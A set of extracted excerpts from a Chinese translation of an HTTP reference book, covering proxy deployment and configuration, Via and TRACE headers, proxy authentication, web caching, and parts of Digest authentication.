    {"text": "144 ｜ 第 6 章 （a）私有LAN的出口代理 客户端 本地 因特网 网络 代理 服务器 客户端 （b）ISP的访问代理 客户端 因特网 代理 服务器 客户端 （c）替代物 客户端 本地 因特网 网络 代理 服务器 客户端 （d）网络交换代理 网络1 网络2 路由器 路由器 客户端 代理 服务器 图 6-11 可以根据其目标用途，以多种方式来部署代理 代理1 代理2 代理3 客户端 (代理2的 （代理3的下级代理， （代理2的 原始服务器 下级代理） 代理1 的上级代理） 上级代理） 图 6-12 三级的代理层次结构 代 理 ｜ 145 Proxy 层次结构中的代理服务器被赋予了父（parent）和子（child）的关系。"},
    {"text": "代理服务器可以根 据众多因素，将报文转发给一个不断变化的代理服务器和原始服务器集。 比 如， 在 图 6-13 中，访问代理会根据不同的情况将报文转发给父代理或原始服 务器。"},
    {"text": "• 如果所请求的对象属于一个付费使用内容分发服务的 Web 服务器，代理就会将 请求发送给附近的一个缓存服务器，这个服务器会返回已缓存对象，或者如果它 那儿没有的话，它会去取回内容。"},
    {"text": "• 如果请求的是特定类型的图片，访问代理会将请求转发给一个特定的压缩代理， 这个代理会去获取图片，然后对其进行压缩，这样通过到客户端的慢速 Modem 下载时，速度会更快一些。"},
    {"text": "用于特定对象的 特定缓存服务器 代理缓存 客户端 访问代理 因特网 压缩器代理 全球范围内的Web服务器 139 图 6-13 代理层次结构可以是动态的，随请求而变的 这里还有几个动态选择父代理的例子。"},
    {"text": "• 地理位置附近的路由 子代理可能会选择负责原始服务器所在物理区域的父代理。 • 协议 / 类型路由 子代理可能会根据 URI 将报文转发到不同的父代理和原始服务器上去。 某些特 定类型的 URI 可能要通过一些特殊的代理服务器转发请求，以便进行特殊的协 议处理。"},
    {"text": "• 修改网络 网络基础设施可以通过若干种技术手段，在客户端不知道，或没有参与的情况 下，拦截网络流量并将其导入代理。 这种拦截通常都依赖于监视 HTTP 流量的交 换设备及路由设备，在客户端毫不知情的情况下，对其进行拦截，并将流量导入 一个代理（参见图 6-14b）。"},
    {"text": "代 理 ｜ 147 • 修改 DNS 的命名空间 140 放在 Web 服务器之前的代理服务器——替代物，会直接假扮 Web 服务器的名 字和 IP 地址，这样，所有的请求就会发送给这些替代物，而不是服务器了（参 见图 6-14c）。 要实现这一点，可以手工编辑 DNS 名称列表，或者用特殊的动态 DNS 服务器根据需要来确定适当的代理或服务器。"},
    {"text": "路由器 客户端 服务器 客户端 服务器 代理 代理 （c）代表Web服务器的替代物 （d）服务器将HTTP请求重定向到代理 代理 客户端 服务器 客户端 服务器 假扮Web服 务器的名字 代理 图 6-14 有很多技巧可以将 Web 请求导向代理 6.4 客户端的代理设置 所有现代的 Web 浏览器都允许用户对代理的使用进行配置。"},
    {"text": "• WPAD 的代理发现 有些浏览器支持 Web 代理自动发现协议（Web Proxy Autodiscovery Protocol， WPAD），这个协议会自动检测出浏览器可以从哪个“配置服务器”下载到一个 自动配置文件。"},
    {"text": "在网景的 Navigator 6 中，可以通过菜单选项 Edit（编辑）→ Preferences（首选项）→ Advanced（高级）→ Proxies（代理），然后选中单选按钮“Manual proxy”（手工配 置代理）来指定代理。 在微软的 Internet Explorer 5 中，可以在 Tools（工具）→ Internet Options（Internet 选 项 ） 菜 单 中， 选 择 一 个 连 接， 点 击“Settings”（ 设 置 ）， 选 中“Use a proxy server”（使用代理服务器）框，并点击“Advanced”（高级），来手工指定代理。"},
    {"text": "要使用 PAC 文件，就要用 JavaScript PAC 文件的 URI 来配置浏览器［配置方式与 142 手工配置类似，但要在 “automatic configuration”（自动配置）框中提供一个 URI］。 浏览器会从这个 URI 上获取 PAC 文件，并用 JavaScript 逻辑为每次访问计算恰当 的代理服务器。"},
    {"text": "表6-1 代理自动配置脚本的返回值 FindProxyForURL 的返回值 描 述 DIRECT 不经过任何代理，直接进行连接 PROXY host:port 应该使用指定的代理 SOCKS host:port 应该使用指定的 SOCKS 服务器 例 6-1 中的 PAC 文件为 HTTP 事务处理指定了一个代理，为 FTP 事务处理指定了 另一个代理，并为所有其他类型的事务处理使用直连方式。 例 6-1 代理自动配置文件示例 function FindProxyForURL(url, host) { if (url.substring(0,5) == \"http:\") { return \"PROXY http-proxy.mydomain.com:8080\"; } else if (url.substring(0,4) ==\"ftp:\") { return \"PROXY ftp-proxy.mydomain.com:8080\"; } else { return \"DIRECT\"; } } 更多有关 PAC 文件的细节，请参见第 20 章。"},
    {"text": "6.5 与代理请求有关的一些棘手问题 本节对与代理服务器请求有关的一些比较棘手且易被误解的问题进行了解释，其中 包括： • 代理请求中的 URI 和服务器请求中的 URI 有何不同；"},
    {"text": "6.5.1 代理URI与服务器URI的不同 除了一点之外，Web 服务器报文和 Web 代理报文的语法是一样的。 客户端向服务 器而不是代理发送请求时，HTTP 请求报文中的 URI 会有所不同。 客户端向 Web 服务器发送请求时，请求行中只包含部分 URI（没有方案、主机或端 口），如下例所示： 代 理 ｜ 151 GET /index.html HTTP/1.0 User-Agent: SuperBrowser v1.3 但当客户端向代理发送请求时，请求行中则包含完整的 URI。 例如： GET http://www.marys-antiques.com/index.html HTTP/1.0 User-Agent: SuperBrowser v1.3 为什么会有两种不同的请求格式，一种用于代理，另一种用于服务器呢？"},
    {"text": "HTTP/1.0 要求代理请求发送完整的 URI，解决了这个问 题，但它为服务器请求保留部分 URI 的形式（已经有相当多的服务器都改为支持完 整 URI 了）。"},
    {"text": "152 ｜ 第 6 章 （a）服务器请求 GET /index.html HTTP/1.0 User-agent: SuperBrowser v1.3 客户端 原始服务器 （b）显式代理请求 GET http://www.marys-antiques.com/index.html HTTP/1.0 User-agent: SuperBrowser v1.3 代理服务器 客户端 （显式配置了代理） 原始服务器 （c）替代物（反向代理）请求 GET /index.html HTTP/1.0 User-agent: SuperBrowser v1.3 替代物 客户端 （服务器主机名指向替代物代理） 原始服务器 （d）拦截代理请求 GET /index.html HTTP/1.0 User-agent: SuperBrowser v1.3 客户端 原始服务器 拦截代理 图 6-15 拦截代理会获取服务器请求 145 6.5.3 拦截代理会收到部分URI 只要客户端正确地实现了 HTTP，它们就会在请求中包含完整的 URI，发送给经过 显式配置的代理。"},
    {"text": "代 理 ｜ 153 • 拦截代理是网络流量中的代理服务器，它会拦截从客户端发往服务器的请求，并 提供一个缓存响应，或对其进行转发。 由于拦截代理拦截了从客户端到服务器的 流量，所以它会收到发送给 Web 服务器的部分 URI（参见图 6-15d）。 9 6.5.4 代理既可以处理代理请求，也可以处理服务器请求 由于将流量重定向到代理服务器的方式有所不同，通用的代理服务器既应该支持请 求报文中的完整 URI，也应该支持部分 URI。 如果是显式的代理请求，代理就应该 146 使用完整 URI，如果是 Web 服务器请求，就应该使用部分 URI 和虚拟 Host 首部。"},
    {"text": "• 如果提供的是部分 URI，而且有 Host 首部，就应该用 Host 首部来确定原始服 务器的名字和端口号。 • 如果提供的是部分 URI，而且没有 Host 首部，就要用其他方法来确定原始服务器： - 如果代理是代表原始服务器的替代物，可以用真实服务器的地址和端口号来 配置代理；"},
    {"text": "- 如果所有方法都失败了，代理没有足够的信息来确定原始服务器，就必须返 回一条错误报文（通常是建议用户升级到支持 Host 首部的现代浏览器）。"},
    {"text": "有些看起来无害的转换行为，比如用显式的“:80”来取代默认的 HTTP 端 口，或者用适当的换码转义符来取代非法的保留字符以校正 URI，就可能造成互操 作性问题。"},
    {"text": "它们的目标不是成为强制实现严格协议一致性 注 9： 在某些情况下，拦截代理可能也会拦截客户端到代理的流量，在这种情况下，拦截代理可能会收到完 整 URI，并需要对其进行处理。"},
    {"text": "由于显式代理的通信端口通常与 HTTP 使用的端口有所不同（通常是 8080 而不是 80），而且拦截代理通常只对端口 80 进行拦截，所以这种情况并不会经常发生。"},
    {"text": "6.5.6 URI的客户端自动扩展和主机名解析 根据是否有代理，浏览器对请求 URI 的解析会有所不同。 没有代理时，浏览器会获 取你输入的 URI，尝试着寻找相应的 IP 地址。 如果找到了主机名，浏览器会尝试相 应的 IP 地址直到获得成功的连接为止。 147 但是，如果没有找到主机，很多浏览器都会尝试着提供某种主机名自动“扩展”机 制，以防用户输入的是主机“简短”的缩写形式（回顾一下 2.3.2 节）。"},
    {"text": "（2a）浏览器通过DNS搜索主机oreilly （2b ）失败，未知主机名 （3b）浏览器通过DNS搜索主机“www.oreilly.com” （3c）成功！ 取回IP地址 DNS服务器 （1）用户向浏览器的 URI地址窗口输入oreilly （4a）浏览器尝试着连接到一个个IP地址上去，直到成功建立连接为止 （4b）成功； 连接建立 （5a）浏览器发送HTTP请求 （5b）浏览器获取HTTP响应 客户端 www.oreilly.com （3a）浏览器进行自动扩展，将 oreilly转换成www.oreilly.com 图 6-16 没有提供显式的代理时，浏览器会对部分主机名进行自动扩展 注 11： 当你输入 yahoo 时，大多数浏览器都会自动将其扩展为 www.yahoo.com。"},
    {"text": "浏览器用 oreilly 作为主 机名，并假定默认方案为 http://，默认端口为 80，默认路径为“/”。 148 • 在第 (2a) 步中，浏览器会去查找主机 oreilly。"},
    {"text": "因 此，当用户在浏览器的地址窗口中输入 oreilly 时，发送给代理的就是 http://oreilly/ （浏览器添加了默认方案和路径，但主机名和输入的一样）。 （4a）中发送的请求报文 （2a）已经显式地配置了 代理，所以浏览器会用DNS GET http://oreilly/ HTTP/1.0 Proxy-connection: Keep-Alive 去搜索代理服务器的地址 User-agent: Mozilla/4.72[en] (Win98:I) Host: oreilly （2b）成功！ 获取代 Accept: */* 理服务器的IP地址 Accept-encoding: gzip Accept-language: en Accept-charset: iso-8859-1,*,utf-8 DNS服务器 （1）用户在浏览器的 （4b）客户端没有进行自动扩展，所以代 URI地址窗口输入oreilly 理在请求中得到的是不完整主机名 （3a）浏览器试图连接代理 （3b）成功； 连接建立起来了 （4a）浏览器发送HTTP请求 客户端 代理 www.oreilly.com （3a）浏览器进行自动扩展， 将“oreilly”转换成www.oreilly.com 图 6-17 有显式代理时，浏览器不会对不完整主机名进行自动扩展 因此，有些代理会尽力尝试着去模仿浏览器的便捷服务，包括 www...com 自动扩 展，以及添加本地域名后缀。"},
    {"text": "149 (2a) (2b) (3b) (5b) (3c) 代理 DNS服务器 (1) (4a) (4b) (5a) 拦截器 客户端 www.oreilly.com (3a) 图 6-18 使用拦截代理时，浏览器无法检测出已停用服务器的 IP 地址 图 6-18 显示了下列事务处理过程。"},
    {"text": "• 在第 (3a) 步中，浏览器进行了自动扩展，将 oreilly 转换成 www.oreilly.com。 在 第 (3b) 步中，浏览器通过 DNS 来查找主机 www.oreilly.com。 这一次，如第 (3c) 步所示，DNS 服务器成功了，将 IP 地址返回给了浏览器。"},
    {"text": "为了提供与浏览器相同级别 的容错机制，代理可以通过解析 Host 首部的主机名，也可以通过对 IP 地址的反 代 理 ｜ 157 向 DNS 查找来尝试其他 IP 地址。 将浏览器配置为使用显式代理时，它们会依赖 代理的容错机制，所以对拦截和显式的代理实现来说，在 DNS 解析到已停用服 务器时，提供容错机制是很重要的。"},
    {"text": "比如，出于安全和节省费用的考虑，很多公司都会用缓存 代理服务器来访问因特网， 而且很多大型 ISP 都会使用代理缓存来提高性能并实现 各种特性。"},
    {"text": "随着代理的逐渐流行，我们要能够追踪经过代理的报文流，以检测出各种问题，其 重要性就跟追踪经过不同交换机和路由器传输的 IP 分组流一样。"},
    {"text": "这个字符串说明第一个代理名 为 proxy-62.irenes-isp.net， 它 实 现 了 HTTP/1.1 协 议， 第 二 个 代 理 被 称 为 cache.joes-hardware.com，实现了 HTTP/1.0： 158 ｜ 第 6 章 Via: 1.1 proxy-62.irenes-isp.net, 1.0 cache.joes-hardware.com Via 首部字段用于记录报文的转发，诊断报文循环，标识请求 / 响应链上所有发送 者的协议能力（参见图 6-20）。"},
    {"text": "代理也可以用 Via 首部来检测网络中的路由循环。 代理应该在发送一条请求之前， 在 Via 首部插入一个与其自身有关的独特字符串，并在输入的请求中查找这个字符 串，以检测网络中是否存在路由循环。"},
    {"text": "151 请求报文（和服务器收到的一样） GET /index.html HTTP/1.0 Accept: text/html Host: www.joes-hardware.com Via: 1.1 proxy-62.irenes-isp.net, 1.0 cache.joes-hardware.com proxy-62.irenes-isp.net cache.joes-hardware.com 客户端 (HTTP/1.1) (HTTP/1.0) www.joes-hardwar e.com 图 6-20 Via 首部实例 1. Via 的语法 Via 首部字段包含一个由逗号分隔的路标（waypoint）。"},
    {"text": "下面是一个 带有两个路标的 Via 首部实例： Via = 1.1 cache.joes-hardware.com, 1.1 proxy.irenes-isp.net Via 首部的正规语法如下所示： Via = \"Via\" \":\" 1#( waypoint ) waypoint = ( received-protocol received-by [ comment ] ) received-protocol = [ protocol-name \"/\" ] protocol-version received-by = ( host [ \":\" port ] ) | pseudonym 注意，每个 Via 路标中最多包含 4 个组件：一个可选的协议名（默认为 HTTP）、一 个必选的协议版本、一个必选的节点名和一个可选的描述性注释。"},
    {"text": "请求和响应通常都是通过同一条 TCP 连接传送的，所以响应报文会沿着与请求报文 相同的路径回传。 如果一条请求报文经过了代理 A、B 和 C，相应的响应报文就会 通过代理 C、B、A 进行传输。"},
    {"text": "请求Via首部 via: 1.1 A, 1.1 B, 1.1 C A B C 客户端 服务器 响应Via首部 via: 1.1 C, 1.1 B, 1.1 A 图 6-21 响应 Via 通常与请求 Via 相反 注 13： 比如，缓存代理服务器中可能会包含一些成功 / 失败信息。"},
    {"text": "作为协议网关使用的代理会用 FTP 协议从 FTP 服务器获取预期的对 象。 然后代理会用下面这个 Via 首部字段，在一条 HTTP 响应中将对象回送到客户 端上去： Via: FTP/1.0 proxy.irenes-isp.net (Traffic-Server/5.0.1-17882 [cMs f ]) 153 注意，接收到的协议是 FTP。"},
    {"text": "发送给代理的HTTP请求报文 GET ftp://http-guide.com/pub/welcome.txt HTTP/1.0 FTP请求 proxy.irenes-isp.net 客户端 (HTTP/1.0) FTP响应 http-guide.com FTP服务器 HTTP响应报文 HTTP/1.0 200 OK Date: Sun, 11 Nov 2001 21:01:59 GMT Via: FTP/1.0 proxy.irenes-isp.net (Traffic-Server/5.0.1-17882 [cMsf]) Last-modified: Sun, 11 Nov 2001 21:05:24 GMT Content-type: text/plain Hi there. This is an FTP server. 图 6-22 HTTP/FTP 网关生成了 Via 首部，用于记录所收到的协议（FTP） 4. Server 和 Via 首部 Server 响应首部字段对原始服务器使用的软件进行了描述。 这里有几个例子： Server: Apache/1.3.14 (Unix) PHP/4.0.4 Server: Netscape-Enterprise/4.1 Server: Microsoft-IIS/5.0 代 理 ｜ 161 如果响应报文是通过代理转发的，一定要确保代理没有修改 Server 首部。"},
    {"text": "总地来说，除非显式地 允许了这种行为，否则，当代理服务器作为网络防火墙的一部分使用时，是不应该 转发防火墙后面那些主机的名字和端口号的，因为防火墙后面的网络结构信息可能 154 会被恶意群体利用。 14 如果不允许进行 Via 节点名转发，作为安全防线的一部分使用的代理就应该用适当 的假名来取代那台主机的名字。"},
    {"text": "对那些有着非常强烈的隐私要求，需要隐藏内部网络设计和拓扑结构的组织来说， 代理应该将一个（接收协议值相同的）有序 Via 路标条目序列合并成一个联合条 目。"},
    {"text": "比如，可以将： Via: 1.0 foo, 1.1 devirus.company.com, 1.1 access-logger.company.com 压缩成： Via: 1.0 foo, 1.1 concealed-stuff 除非这些条目都在同一个组织的控制之下，而且已经用假名取代了主机名，否则就 不能将其合并起来。"},
    {"text": "通过 HTTP/1.1 的 TRACE 方法，用户可以跟踪经代理链传输的请求报文，观察报文 经过了哪些代理，以及每个代理是如何对请求报文进行修改的。"},
    {"text": "TRACE请求 TRACE /index.html HTTP/1.1 Host: www.joes-hardware.com Accept: text/html 客户端 代理1 代理2 代理3 服务器 (proxy.irenes-isp.net) (p1127.att.net) (cache.joes-hardware.com)(www.joes-hardware.com) HTTP/1.1 200 OK Content-Type: message/http Content-Length: 269 Via: 1.1 cache.joes-hardware.com, 1.1 p1127.att.net, 1.1 proxy.irenes-isp.net 收到的请求 TRACE /index.html HTTP/1.1 Host: www.joes-hardware.com Accept: text/html Via: 1.1 proxy.irenes-isp.net, 1.1 p1127.att.net, 1.1 cache.joes-hardware.com X-Magic-CDN-Thingy: 134-AF-0003 Cookie: access-isp=\"Irene's ISP, California\" Client-ip: 209.134.49.32 TRACE响应 图 6-23 TRACE 响应回送了收到的请求报文 Max-Forwards 通常，不管中间插入了多少代理，TRACE 报文都会沿着整条路径传到目的服务器 上。"},
    {"text": "可以使用 Max-Forwards（最大转发次数）首部来限制 TRACE 和 OPTIONS 155 请求所经过的代理跳数，在测试代理链是否是在无限循环中转发报文，或者查看链 中特定代理服务器的效果时，它是很有用的。"},
    {"text": "如果 Max-Forwards 的值为零（Max-Forwards:0），那 么即使接收者不是原始服务器，它也必须将 TRACE 报文回送给客户端，而不应该 继续转发。 注 16： 最后的接收者可以是原始服务器，也可以是第一个收到了 Max-Forwards 值为零的请求的代理或 网关。 代 理 ｜ 163 如 果 收 到 的 Max-Forwards 值 大 于 零， 转 发 的 报 文 中 就 必 须 包 含 一 个 更 新 了 的 Max-Forwards 字 段， 其 值 会 被 减 一。"},
    {"text": "TRACE请求 TRACE /index.html HTTP/1.1 Host: www.joes-hardware.com Max-Forwards: 2 Max-Forwards=1 Max-Forwards=0 Accept: text/html 客户端 代理1 代理2 代理3 服务器 (proxy.irenes-isp.net) (p1127.att.net) (cache.joes-hardware.com)(www.joes-hardware.com) HTTP/1.1 200 OK Content-Type: message/http Content-Length: 269 Via: 1.1 p1127.att.net, 1.1 proxy.irenes-isp.net TRACE /index.html HTTP/1.1 收到的请求 Host: www.joes-hardware.com Accept: text/html Via: 1.1 proxy.irenes-isp.net, 1.1 p1127.att.net X-Magic-CDN-Thingy: 134-AF-0003 Cookie: access-isp=\"Irene's ISP, California\" Client-ip: 209.134.49.32 TRACE响应 图 6-24 可以用 Max-Forwards 首部字段来限制转发跳数 6.7 代理认证 代 理 可 以 作 为 访 问 控 制 设 备 使 用。"},
    {"text": "• 对受限内容的请求到达一台代理服务器时，代理服务器可以返回一个要求使用访 问证书的 407 Proxy Authorization Required 状态码，以及一个用于描述怎样提供 这些证书的 Proxy-Authenticate 首部字段（参见图 6-25b）。"},
    {"text": "(a) GET http://server.com/secret.jpg HTTP/1.0 客户端 访问控制代理 服务器 (b) HTTP/1.0 407 Proxy Authorization Required Proxy-Authenticate: Basic realm=\"Secure Stuff\" 访问控制代理 客户端 服务器 (c) GET http://server.com/secret.jpg HTTP/1.0 Proxy-Authorization: Basic YnJpOmZvbw== 访问控制代理 客户端 服务器 (d) HTTP/1.0 200 OK Content-type: image/jpeg ...<image data included>... 访问控制代理 客户端 服务器 需要严格 保密的图 片 图 6-25 代理可以实现认证机制以控制对内容的访问 6.8 代理的互操作性 客户端、服务器和代理是由不同厂商构建的，实现的是不同版本的 HTTP 规范。"},
    {"text": "在当今的大部分网络中，如果代理不能转发它不支持的方法，可能就无法生存下去 158 了，因为通过微软的 Outlook 进行 Hotmail 访问就大量地使用了 HTTP 扩展方法。"},
    {"text": "6.8.2 OPTIONS：发现对可选特性的支持 通过 HTTP OPTIONS 方法，客户端（或代理）可以发现 Web 服务器或者其上某 个特定资源所支持的功能（比如，它们所支持的方法）（参见图 6-26）。 通过使用 OPTIONS，客户端可以在与服务器进行交互之前，确定服务器的能力，这样它就可 以更方便地与具备不同特性的代理和服务器进行互操作了。 OPTIONS * HTTP/1.1 代理 客户端 服务器 HTTP/1.1 200 OK Allow: GET,PUT,POST,HEAD,TRACE,OPTIONS 图 6-26 用 OPTIONS 来判定服务器支持的方法 如果 OPTIONS 请求的 URI 是个星号（*），请求的就是整个服务器所支持的功能。 比如： OPTIONS * HTTP/1.1 如果 URI 是个实际资源地址，OPTIONS 请求就是在查询那个特定资源的可用特性： OPTIONS http://www.joes-hardware.com/index.html HTTP/1.1 注 17： 报文中可能会出现多个报文首部字段具有相同字段名的情况，如果存在这种情况的话，就要将其等 价地合并为一个由逗号分隔的列表。"},
    {"text": "因此，要对合并后的字段值进行解释，具有相同字段名的首部 字段的接收顺序就变得非常重要了，因此，代理在转发报文时，就不能修改这些同名字段值的相对 顺序。"},
    {"text": "6.8.3 Allow 首部 Allow 实体首部字段列出了请求 URI 标识的资源所支持的方法列表，如果请求 URI 为 * 的话，列出的就是整个服务器所支持的方法列表。 例如： Allow: GET, HEAD, PUT 可以将 Allow 首部作为请求首部，建议在新的资源上支持某些方法。"},
    {"text": "• http://www.w3.org/Protocols/rfc2616/rfc2616.txt RFC 2616，R. Fielding、J. Gettys、J. Mogul、H. Frystyk、L. Mastinter、P. Leach 和 T. Berners-Lee 编写的“Hypertext Transfer Protocol”。"},
    {"text": "有了缓 存，就可以保留第一条服务器响应的副本，后继请求就可以由缓存的副本来应对了， 这样可以减少那些流入 / 流出原始服务器的、被浪费掉了的重复流量。"},
    {"text": "在图 7-1 中，Joe 的五金商店旧金山分店的用户通过 1.4Mbit/s 的 T1 因特网连接，从亚 特兰大总店下载一个 5MB 的库存文件要花 30 秒的时间。 如果在旧金山分店里缓存了这 个文档，本地用户通过以太网连接只要花费不到 1 秒的时间就可以获得同一份文档了。"},
    {"text": "170 ｜ 第 7 章 旧金山分店办公室 客户端 缓存 到缓存的快速连接 到服务器的慢速WAN （100Mbit/s以太网） 连接（1.4Mbit/s的T1） 亚特兰大总店 服务器 图 7-1 缓存可以改善由有限广域带宽造成的网络瓶颈 表7-1 带宽造成的传输时延，理想化情况（以秒为时间单位） 大型HTML JPEG 大型JPEG 大型文件 （15KB） （40KB） （150KB） （5MB） 拨号 modem（56kbit/s） 2.19 5.85 21.94 748.98 DSL（256Kbit/s） 0.48 1.28 4.80 163.84 T1（1.4Mbit/s） 0.09 0.23 0.85 29.13 慢速以太网（10Mbit/s） 0.01 0.03 0.12 4.19 DS3（45Mbit/s） 0.00 0.01 0.03 0.93 快速以太网（100Mbit/s） 0.00 0.00 0.01 0.42 162 7.3 瞬间拥塞 缓存在破坏瞬间拥塞（Flash Crowds）时显得非常重要。"},
    {"text": "突发事件（比如爆炸性新 闻、批量 E-mail 公告，或者某个名人事件）使很多人几乎同时去访问一个 Web 文 档时，就会出现瞬间拥塞（参见图 7-2）。"},
    {"text": "1998 年 9 月 11 日，详细描述 Kenneth Starr 对美国总统克林顿调查情况的“Starr 报 告”发布到因特网上去的时候，美国众议院的 Web 服务器每小时收到了超过三百万 次的请求，是其平均服务器负荷的 50 倍。"},
    {"text": "缓 存 ｜ 171 芝加哥 旧金山 波士顿 洛杉矶 瞬间拥塞 亚特兰大 图 7-2 瞬间拥塞会使 Web 服务器过载 7.4 距离时延 即使带宽不是问题，距离也可能成为问题。"},
    {"text": "如果波士 顿的一个客户端打开了 4 条到服务器的并行连接，而且保持着连接的活跃状态，光 速自身就要耗费大约 1/4 秒（240 毫秒）的下载时间（参见图 7-3）。"},
    {"text": "172 ｜ 第 7 章 连接1 连接2 连接3 连接4 30 连接请求 毫秒 客户端在波士顿， OK 服务器在旧金山 30 GET Web页面 毫秒 光速 30毫秒的往返时间 Web页面 30 GET图片 30 连接请求 30 连接请求 30 连接请求 1 毫秒 毫秒 毫秒 毫秒 图片1 OK OK OK 30 GET图片 30 GET图片 30 GET图片 30 GET 2 3 4 图片 5 毫秒 毫秒 毫秒 毫秒 240 光速时延 图片2 图片3 图片4 图片5 毫秒 30 GET图片 30 GET图片 30 GET图片 30 GET图片 6 7 8 9 毫秒 毫秒 毫秒 毫秒 图片6 图片7 图片8 图片9 30 GET图片 30 GET图片 30 GET图片 30 GET图片 10 11 12 13 毫秒 毫秒 毫秒 毫秒 图片10 图片11 图片12 图片13 30 GET图片 30 GET图片 30 GET图片 30 GET图片 14 15 16 17 毫秒 毫秒 毫秒 毫秒 图片14 图片15 图片16 图片17 30 GET图片 30 GET图片 30 GET图片 30 GET图片 18 19 20 21 毫秒 毫秒 毫秒 毫秒 图片18 图片19 图片20 图片21 图 7-3 即便使用的是并行的持久连接，光速也会造成显著的时延 7.5 命中和未命中的 这样看来缓存是有所帮助的。"},
    {"text": "缓 存 ｜ 173 （a）缓存命中 缓存 对象 客户端 缓存 服务器 （b）缓存未命中 服务 服务 器对象 器对象 客户端 缓存 服务器 （c）缓存再验证命中 新鲜度检测 缓存 对象 “仍然是新鲜的” 客户端 缓存 服务器 图 7-4 缓存命中、未命中以及再验证 缓存可以在任意时刻，以任意的频率对副本进行再验证。"},
    {"text": "但由于缓存中通常会包含 数百万的文档，而且网络带宽是很珍贵的，所以大部分缓存只有在客户端发起请 求，并且副本旧得足以需要检测的时候，才会对副本进行再验证。"},
    {"text": "只要缓存知道副 本仍然有效，就会再次将副本标识为暂时新鲜的，并将副本提供给客户端（参见图 7-5a）这被称作再验证命中（revalidate hit）或缓慢命中（slow hit）。"},
    {"text": "这里列出了在 3 种情况下（服务器内容未被修改，服务器内容已被修改，或者服务 器上的对象被删除了）服务器收到 GET If-Modified-Since 请求时会发生的情况： • 再验证命中 如 果 服 务 器 对 象 未 被 修 改， 服 务 器 会 向 客 户 端 发 送 一 个 小 的 HTTP 304 Not Modified 响应。"},
    {"text": "174 ｜ 第 7 章 （a）再验证命中（缓慢命中） 新鲜度检测 缓存 对象 “仍然新鲜” 客户端 缓存 服务器 服务器对象与已缓存副本一样 （b）再验证未命中 新鲜度检测 服务 服务 器对象 器对象 客户端 缓存 服务器 已缓存副本过时了 图 7-5 成功的再验证比缓存未命中要快，失败的再验证几乎和未命中的速度一样 带有If-Modified-Since首部的再验证请求 GET /announce.html HTTP/1.0 If-Modified-Since: Sat, 29 Jun 2002, 14:30:00 GMT 服务器 缓存（浏览器缓 HTTP/1.0 304 Not Modified 存或代理缓存） Date: Wed, 03 Jul 2002, 19:18:23 GMT Content-type: text/plain Content-length: 67 Expires: Fri, 05 Jul 2002, 05:00:00 GMT “仍然新鲜”响应 图 7-6 HTTP 使用 If-Modified-Since 首部进行再验证 • 再验证未命中 如果服务器对象与已缓存副本不同，服务器向客户端发送一条普通的、带有完整 内容的 HTTP 200 OK 响应。"},
    {"text": "7.5.2 命中率 由缓存提供服务的请求所占的比例被称为缓存命中率（cache hit rate，或称为缓存 缓 存 ｜ 175 命中比例），4 有时也被称为文档命中率（document hit rate）。 命中率在 0 到 1 之间， 但通常是用百分数来描述的，0% 表示每次请求都未命中（要通过网络来获取文 档），100% 表示每次请求都命中了（在缓存中有一份副本）。"},
    {"text": "将响应中 Date 首部的值与当前时间进行比较，如果响应中的日期值比较早，客户端通常就可 注 4： 术语“命中比例”可能比“命中率”要好，因为“命中率”会让人错误地想到时间因素。"},
    {"text": "专用缓存被称为私有缓 存（private cache）。 私有缓存是个人的缓存，包含了单个用户最常用的页面（参见 图 7-7a）。 共享的缓存被称为公有缓存（public cache）。 公有缓存中包含了某个用户 团体的常用页面（参见图 7-7b）。"},
    {"text": "（a）访问私有缓存 因特网 客户端 私有缓存 Web服务器 （b）访问共享的公有缓存 因特网 客户端 Web服务器 客户端 公有缓存 图 7-7 公有和私有缓存 7.6.1 私有缓存 私有缓存不需要很大的动力或存储空间，这样就可以将其做得很小，很便宜。 Web 浏 览器中有内建的私有缓存——大多数浏览器都会将常用文档缓存在你个人电脑的磁盘 和内存中，并且允许用户去配置缓存的大小和各种设置。"},
    {"text": "还可以去看看浏览器的缓存中 有些什么内容。 比如，对微软的 Internet Explorer 来说，可以从 Tools（工具）→ Internet 168 Options...（因特网选项）对话框中获取缓存内容。"},
    {"text": "7.6.2 公有代理缓存 公有缓存是特殊的共享代理服务器，被称为缓存代理服务器（caching proxy server）， 缓 存 ｜ 177 或者更常见地被称为代理缓存（proxy cache）（第 6 章讨论过代理）。"},
    {"text": "HTTP权威指南 基 本 摘 要 质询 WWW-Authenticate: Basic WWW-Authenticate: Digest realm=\"<realm-value>\" realm=\"<realm-value>\" nonce=\"<nonce-value>\" [domain=\"<list-of-URIs>\"] [opaque=\"<opaque-token-value>\"] [stale=<true-or-false>] [algorithm=<digest-algorithm>] [qop=\"<list-of-qop-values>\"] [<extension-directive>] 响应 Authorization: Basic Authorization: Digest <base64(user:pass)> username=\"<username>\" realm=\"<realm-value>\" nonce=\"<nonce-value>\" uri=<request-uri> response=\"<32-hex-digit-digest>\" [algorithm=<digest-algorithm>] [opaque=\"<opaque-token-value>\"] [cnonce=\"<nonce-value>\"] [qop=<qop-value>] [nc=<8-hex-digit-nonce-count>] [<extension-directive>] Info n/a Authentication-Info: nextnonce=\"<nonce-value>\" [qop=\"<list-of-qop-values>\"] [rspauth=\"<hex-digest>\"] [cnonce=\"<nonce-value>\"] [nc=<8-hex-digit-nonce-count>] 摘要认证首部要复杂得多。"},
    {"text": "如 果 WWW-Authenticate 或 Proxy-Authenticate 首部包含了多个质询，或者提供了多个 WWW-Authenticate 首部，用户 Agent 代理在解析 WWW-Authenticate 或 Proxy-Authenticate 首部 字段值时就要特别小心。"},
    {"text": "只有 当基本认证是最低可接受认证方式时，服务器才应该包含它，而且管理员还应该警 告用户，即使运行了不同层次安全措施，系统间使用相同密码也存在一定危险性。"},
    {"text": "如果前面的某条请求已被授权，在一段 318 ｜ 第 13 章 时间内，该保护空间中所有其他请求都可以重用同一个证书，时间的长短由认证方 案、参数和 / 或用户喜好来决定。"},
    {"text": "通常认为，domain 列表中的所有 URI 和逻辑上处于这些前缀之下的所有 URI， 都位于同一个保护空间中。 如果没有 domain 字段，或者此字段为空，质询服务 器上的所有 URI 就都在保护空间内。"},
    {"text": "13.4.5 缓存 共享的缓存收到包含 Authorization 首部的请求和转接那条请求产生的响应时， 除非响应中提供了下列两种 Cache-Control 指令之一，否则一定不能将那条响应 作为对任何其他请求的应答使用。"},
    {"text": "13.5.1 首部篡改 为了提供一个简单明了的防首部篡改系统，要么就得进行端到端的加密，要么就得 对首部进行数字签名——最好是两者的结合！"},
